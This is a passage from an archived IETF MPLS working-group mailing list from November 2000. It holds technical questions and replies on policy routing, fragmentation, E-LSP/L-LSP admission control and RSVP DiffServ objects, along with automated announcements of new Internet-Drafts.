<310E45D89889D411AB2000508BDCEAAA06414F@CAUVERY> From: Pradeep Shastry To: mpls@UU.NET Subject: Policy base routing in mpls Date: Fri, 24 Nov 2000 14:48:07 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi, How does mpls takes care of policy base routing before assiging labels at the edge? Thanks and Regards -Pradeep From owner-mpls@UU.NET Fri Nov 24 04:31:06 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA22510 for ; Fri, 24 Nov 2000 04:31:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqrd26647; Fri, 24 Nov 2000 09:29:11 GMT Received: by mail-control.mail.uu.net id QQjqrd02406 for mpls-outgoing; Fri, 24 Nov 2000 09:28:40 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqrd02401 for ; Fri, 24 Nov 2000 09:28:34 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqrd04084 for ; Fri, 24 Nov 2000 09:28:25 GMT Received: from samar.sasi.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: samar.sasi.com [164.164.56.2]) id QQjqrd23819 for ; Fri, 24 Nov 2000 09:28:21 GMT Received: from samar (samar.sasi.com [164.164.56.2]) by samar.sasi.com (8.9.3/8.9.3) with SMTP id OAA18098 for ; Fri, 24 Nov 2000 14:58:11 +0530 (IST) Received: from suns3.sasi.com ([10.0.36.3]) by samar.sasi.com; Fri, 24 Nov 2000 14:58:10 +0000 (IST) Received: from localhost (soumen@localhost) by suns3.sasi.com (8.9.1/8.9.3) with ESMTP id OAA20653 for ; Fri, 24 Nov 2000 14:58:10 +0530 (IST) Date: Fri, 24 Nov 2000 14:58:09 +0530 (IST) From: Soumen Sarkar To: mpls@UU.NET Subject: MPLS and fragmentation.. In-Reply-To: <3A1E2D57.B1E1D56D@cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi, Sorry for bringing back this issue. There were quite a few mails exchanged on this. Could someone tell me what has been the accepted strategy to handle IP fragmentation in MPLS domain. I would be glad to hear in both cases where DF bit is set and the cases where DF bit is not set. -thanks in advance, Soumen From owner-mpls@UU.NET Fri Nov 24 05:20:15 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA08181 for ; Fri, 24 Nov 2000 05:20:15 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqrh00004; Fri, 24 Nov 2000 10:18:36 GMT Received: by mail-control.mail.uu.net id QQjqrh17498 for mpls-outgoing; Fri, 24 Nov 2000 10:18:07 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqrh17493 for ; Fri, 24 Nov 2000 10:18:04 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqrh05427 for ; Fri, 24 Nov 2000 10:16:09 GMT Received: from yamato.ccrle.nec.de by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: yamato.ccrle.nec.de [195.37.70.1]) id QQjqrh26236 for ; Fri, 24 Nov 2000 10:16:08 GMT Received: from wallace.heidelberg.ccrle.nec.de (Wallace.heidelberg.ccrle.nec.de [192.168.102.1]) by yamato.ccrle.nec.de (8.10.1/8.10.1) with ESMTP id eAOAGgE09893; Fri, 24 Nov 2000 11:16:42 +0100 (CET) Received: from ccrle.nec.de (madrid.heidelberg.ccrle.nec.de [192.168.102.79]) by wallace.heidelberg.ccrle.nec.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id LAA04514; Fri, 24 Nov 2000 11:16:06 +0100 Message-ID: <3A1E4112.8BDD3DBC@ccrle.nec.de> Date: Fri, 24 Nov 2000 11:21:06 +0100 From: Marcus Brunner Reply-To: brunner@ccrle.nec.de Organization: NEC Europe Ltd X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en,de MIME-Version: 1.0 To: Shahram Davari CC: "'Daniel N. Bauer'" , Simeone Mastropietro , mpls@UU.NET Subject: Re: E-LSP or L-LSP References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A71@BBY1EXM01> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Shahram, In many scenarios, the admission control for a PBH scheduling classes is already fuzzy, which means on a statistical level, you will run into trouble if you want to do admission control for aggregates of different PHB classes. Marcus Shahram Davari wrote: > > Hi Daniel, > > You can do admission control for E-LSP too. But the admission control is done for the aggregate of all supported PHBs in that LSP. > > Regards, > -Shahram > > > -----Original Message----- > > From: Daniel N. Bauer [mailto:dnb@zurich.ibm.com] > > Sent: Thursday, November 23, 2000 3:00 AM > > To: Simeone Mastropietro > > Cc: mpls@UU.NET > > Subject: Re: E-LSP or L-LSP > > > > > > Here's one difference that might or might not be important: > > > > Packets that are carried inside an E-LSP might belong to > > different PHB scheduling classes, whereas packets inside > > an L-LSP belong to the same PHB scheduling class. > > This difference is important in the case where admission control > > is required/wanted: For L-LSPs, admission control can be carried > > out since the traffic specification in the signaling matches a > > single PHB scheduling class. For E-LSPs, this is not true and > > consequently, no admission control can be carried out. > > > > Regards, > > > > -Daniel > > > > > > Simeone Mastropietro wrote: > > > > > > Hi All, > > > I am a novel researcher on MPLS and TE for Co.Ri.Tel ( > > Rome, Italy)... > > > Is there anyone that can help me to understand when E-LSPs or L-LSPs > > > actually should be used? > > > Thanks in advance > > > > > > Simeone Mastropietro > > -- Dr. Marcus Brunner C&C Research Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.tik.ee.ethz.ch/~brunner Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 From owner-mpls@UU.NET Fri Nov 24 17:58:00 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18252 for ; Fri, 24 Nov 2000 17:58:00 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqtf06158; Fri, 24 Nov 2000 22:56:24 GMT Received: by mail-control.mail.uu.net id QQjqtf03762 for mpls-outgoing; Fri, 24 Nov 2000 22:56:04 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtf03723 for ; Fri, 24 Nov 2000 22:55:59 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtf11121 for ; Fri, 24 Nov 2000 22:55:49 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtf14860 for ; Fri, 24 Nov 2000 22:55:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA09365 for mpls@uu.net; Fri, 24 Nov 2000 17:55:47 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtf03712 for ; Fri, 24 Nov 2000 22:55:26 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtf07903 for ; Fri, 24 Nov 2000 22:54:23 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtf13136 for ; Fri, 24 Nov 2000 22:54:23 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA17774; Fri, 24 Nov 2000 17:54:20 -0500 (EST) Message-Id: <200011242254.RAA17774@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; CC: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-fredette-lmp-wdm-00.txt Date: Fri, 24 Nov 2000 17:54:20 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Link Management Protocol (LMP) for WDM Transmission Systems Author(s) : A. Fredette Filename : draft-fredette-lmp-wdm-00.txt Pages : 13 Date : 22-Nov-00 A suite of protocols is being developed in the IETF to allow networks consisting of photonic switches (PXCs), optical crossconnects (OXCs), routers, switches, DWDM transmission systems, and optical add-drop multiplexors (OADMs) to use an MPLS control plane to dynamically provision resources and to provide network survivability using protection and restoration techniques. As part of this suite, the Link Management Protocol (LMP) [LMD00] is defined to 'maintain control channel connectivity, verify component link connectivity, and isolate link, fiber, or channel failures within the network.' In it's present form, [LMD00] focuses on OXC-to-OXC communications. In this document we propose extensions to LMP for use with DWDM transmission systems. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-fredette-lmp-wdm-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-fredette-lmp-wdm-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-fredette-lmp-wdm-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122145806.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-fredette-lmp-wdm-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-fredette-lmp-wdm-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122145806.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Fri Nov 24 18:07:51 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA20798 for ; Fri, 24 Nov 2000 18:07:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqso23915; Fri, 24 Nov 2000 18:43:55 GMT Received: by mail-control.mail.uu.net id QQjqso01036 for mpls-outgoing; Fri, 24 Nov 2000 18:43:25 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqso01026 for ; Fri, 24 Nov 2000 18:43:15 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqso26420 for ; Fri, 24 Nov 2000 18:41:58 GMT Received: from albatross-ext.wise.edt.ericsson.se by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: albatross-ext.wise.edt.ericsson.se [194.237.142.116]) id QQjqso26419 for ; Fri, 24 Nov 2000 18:41:58 GMT Received: from esealnt462.al.sw.ericsson.se (esealnt462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id eAOIfut29862 for ; Fri, 24 Nov 2000 19:41:57 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Fri Nov 24 19:05:11 2000 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id ; Fri, 24 Nov 2000 19:05:11 +0100 Message-ID: <1367DA832A24D311A95C0008C791C770060C60F5@eitrmnt100.tei.ericsson.se> From: "Eleonora Manconi (TEI)" To: "'mpls@UU.NET'" Subject: DIFFSERV object Date: Fri, 24 Nov 2000 19:05:02 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Hi all, I'm studing a possible extension of RSVP for MPLS. I have a question about draft-ietf-mpls-diff-ext-0.7.txt again: why the DIFFSERV object is added to the Path message ?(I mean is it the same if the DIFFSERV object is transported by the Resv message in the ? ) Thanks in advance. /Eleonora From owner-mpls@UU.NET Fri Nov 24 18:15:37 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA22772 for ; Fri, 24 Nov 2000 18:15:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqtg09906; Fri, 24 Nov 2000 23:13:44 GMT Received: by mail-control.mail.uu.net id QQjqtg16546 for mpls-outgoing; Fri, 24 Nov 2000 23:13:19 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqtg16539 for ; Fri, 24 Nov 2000 23:13:19 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqtg29802 for ; Fri, 24 Nov 2000 23:12:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtg03504 for ; Fri, 24 Nov 2000 23:12:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA10233 for mpls@uu.net; Fri, 24 Nov 2000 18:12:48 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtg16487 for ; Fri, 24 Nov 2000 23:12:25 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg18555 for ; Fri, 24 Nov 2000 23:12:14 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtg07764 for ; Fri, 24 Nov 2000 23:12:14 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21848; Fri, 24 Nov 2000 18:12:11 -0500 (EST) Message-Id: <200011242312.SAA21848@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-diff-te-reqts-00.txt Date: Fri, 24 Nov 2000 18:12:11 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Requirements for support of Diff-Serv-aware MPLS Traffic Engineering Author(s) : F. Le Faucheur et al. Filename : draft-ietf-mpls-diff-te-reqts-00.txt Pages : 13 Date : 22-Nov-00 This document defines the requirements for support of Diff-Serv- aware MPLS Traffic Engineering on a per-Class-Type basis, as discussed in the Traffic Engineering Working Group Framework document [TEWG-FW]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-diff-te-reqts-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150102.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-diff-te-reqts-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150102.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Fri Nov 24 18:16:46 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23175 for ; Fri, 24 Nov 2000 18:16:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqtg06688; Fri, 24 Nov 2000 23:14:46 GMT Received: by mail-control.mail.uu.net id QQjqtg16566 for mpls-outgoing; Fri, 24 Nov 2000 23:13:28 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqtg16545 for ; Fri, 24 Nov 2000 23:13:19 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqtg29811 for ; Fri, 24 Nov 2000 23:12:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtg03505 for ; Fri, 24 Nov 2000 23:12:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA10234 for mpls@uu.net; Fri, 24 Nov 2000 18:12:48 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtg16488 for ; Fri, 24 Nov 2000 23:12:25 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg18323 for ; Fri, 24 Nov 2000 23:12:08 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtg07617 for ; Fri, 24 Nov 2000 23:12:08 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21799; Fri, 24 Nov 2000 18:12:05 -0500 (EST) Message-Id: <200011242312.SAA21799@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-generalized-cr-ldp-00.txt Date: Fri, 24 Nov 2000 18:12:05 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Generalized MPLS Signaling - CR-LDP Extensions Author(s) : P. Ashwood-Smith et al. Filename : draft-ietf-mpls-generalized-cr-ldp-00.txt Pages : 15 Date : 22-Nov-00 This document describes extensions to CR-LDP signaling required to support Generalized MPLS. Generalized MPLS extends MPLS to encompass time-division (e.g. SONET ADMs), wavelength (optical lambdas) and spatial switching (e.g. incoming port or fiber to outgoing port or fiber). This document presents a CR-LDP specific description of the extensions. An RSVP-TE specific description can be found in [GMPLS- RSVP]. A generic functional description is presented in [GMPLS-SIG]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-cr-ldp-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-generalized-cr-ldp-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-generalized-cr-ldp-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150045.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-generalized-cr-ldp-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-generalized-cr-ldp-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150045.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Fri Nov 24 18:16:55 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23234 for ; Fri, 24 Nov 2000 18:16:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqtg05280; Fri, 24 Nov 2000 23:13:59 GMT Received: by mail-control.mail.uu.net id QQjqtg16554 for mpls-outgoing; Fri, 24 Nov 2000 23:13:24 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqtg16542 for ; Fri, 24 Nov 2000 23:13:19 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqtg29823 for ; Fri, 24 Nov 2000 23:12:49 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqtg03512 for ; Fri, 24 Nov 2000 23:12:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id SAA10235 for mpls@uu.net; Fri, 24 Nov 2000 18:12:48 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqtg16491 for ; Fri, 24 Nov 2000 23:12:30 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqtg10641 for ; Fri, 24 Nov 2000 23:12:12 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqtg07708 for ; Fri, 24 Nov 2000 23:12:12 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA21824; Fri, 24 Nov 2000 18:12:09 -0500 (EST) Message-Id: <200011242312.SAA21824@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-generalized-rsvp-te-00.txt Date: Fri, 24 Nov 2000 18:12:08 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : Generalized MPLS Signaling - RSVP-TE Extensions Author(s) : P. Ashwood-Smith et al. Filename : draft-ietf-mpls-generalized-rsvp-te-00.txt Pages : Date : 22-Nov-00 This document describes extensions to RSVP-TE signaling required to support Generalized MPLS. Generalized MPLS extends MPLS to encompass time-division (e.g. SONET ADMs), wavelength (optical lambdas) and spatial switching (e.g. incoming port or fiber to outgoing port or fiber). This document presents an RSVP-TE specific description of the extensions. A CR-LDP specific description can be found in [GMPLS-LDP]. A generic functional description is presented in [GMPLS-SIG]. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-rsvp-te-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-generalized-rsvp-te-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001122150054.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-generalized-rsvp-te-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-generalized-rsvp-te-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001122150054.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Fri Nov 24 18:17:19 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23379 for ; Fri, 24 Nov 2000 18:17:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqth02498; Fri, 24 Nov 2000 23:15:27 GMT Received: by mail-control.mail.uu.net id QQjqtg16585 for mpls-outgoing; Fri, 24 Nov 2000 23:13:44 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqtg16569 for ; Fri, 24 Nov 2000 23:13:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: 